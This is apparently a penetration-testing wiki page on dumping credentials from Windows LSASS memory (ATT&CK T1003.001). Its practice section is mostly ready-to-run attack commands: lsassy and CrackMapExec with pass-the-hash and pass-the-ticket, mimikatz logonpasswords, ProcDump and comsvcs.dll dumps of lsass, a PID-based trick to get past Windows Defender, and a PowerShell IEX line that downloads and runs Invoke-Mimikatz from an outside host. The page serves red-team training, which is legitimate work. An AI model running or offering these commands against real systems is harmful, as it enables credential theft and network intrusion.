LSASS secrets

MITRE ATT&CK™ Sub-technique T1003.001
Theory
The Local Security Authority Subsystem Service (LSASS) is a Windows service responsible for enforcing the security policy on the system. It verifies users logging in, handles password changes and creates access tokens. Those operations lead to the storage of credential material in the process memory of LSASS. With administrative rights only, this material can be harvested (either locally or remotely).
Practice
Lsassy
Mimikatz
Pypykatz
ProcDump
comsvcs.dll
PowerSploit
​Lsassy (Python) can be used to remotely extract credentials, from LSASS, on multiple hosts. As of today (22/07/2020), it is the Rolls-Royce of remote lsass credential harvesting.
several dumping methods: comsvcs.dll, ProcDump, Dumpert​
several authentication methods: like pass-the-hash (NTLM), or pass-the-ticket (Kerberos)
it can be used either as a standalone script, as a CrackMapExec module or as a Python library
it can interact with a Neo4j database to set BloodHound targets as "owned"
# With pass-the-hash (NTLM)
lsassy -u $USER -H $NThash $TARGETS
​
# With plaintext credentials
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS
​
# With pass-the-ticket (Kerberos)
lsassy -k $TARGETS
​
# CrackMapExec Module examples
crackmapexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
crackmapexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
crackmapexec smb $TARGETS -k -M lsassy
crackmapexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
​Mimikatz can be used locally to extract credentials with sekurlsa::logonpasswords from lsass's process memory, or remotely with sekurlsa::minidump to analyze a memory dump (dumped with ProcDump for example).
# (Locally) extract credentials from LSASS process memory
sekurlsa::logonpasswords
​
# (Remotely) analyze a memory dump
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
For Windows 2000, a special version of mimikatz called mimilove can be used.
​Pypykatz (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with ProcDump for example).
pypykatz lsa minidump lsass.dmp
The legitimate tool ProcDump (from sysinternals) (download) can be used to dump lsass's process memory.
procdump --accepteula -ma lsass lsass.dmp
Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.
# Find lsass's pid
tasklist /fi "imagename eq lsass.exe"
​
# Dump lsass's process memory
procdump -accepteula -ma $lsass_pid lsass.dmp
Once the memory dump is finished, it can be analyzed with mimikatz (Windows) or pypykatz (Python, cross-platform).
The native comsvcs.dll DLL found in C:\Windows\system32 can be used with rundll32 to dump LSASS's process memory.
# Find lsass's pid
tasklist /fi "imagename eq lsass.exe"
​
# Dump lsass's process memory
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
​PowerSploit's exfiltration script Invoke-Mimikatz (PowerShell) can be used to extract credential material from LSASS's process memory.
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds
Recovered credential material could be either plaintext passwords or NT hash that can be used with pass the hash (depending on the context).
References
Extract credentials from lsass remotely
hackndo
NTDS secrets
DCSync
Last modified 21d ago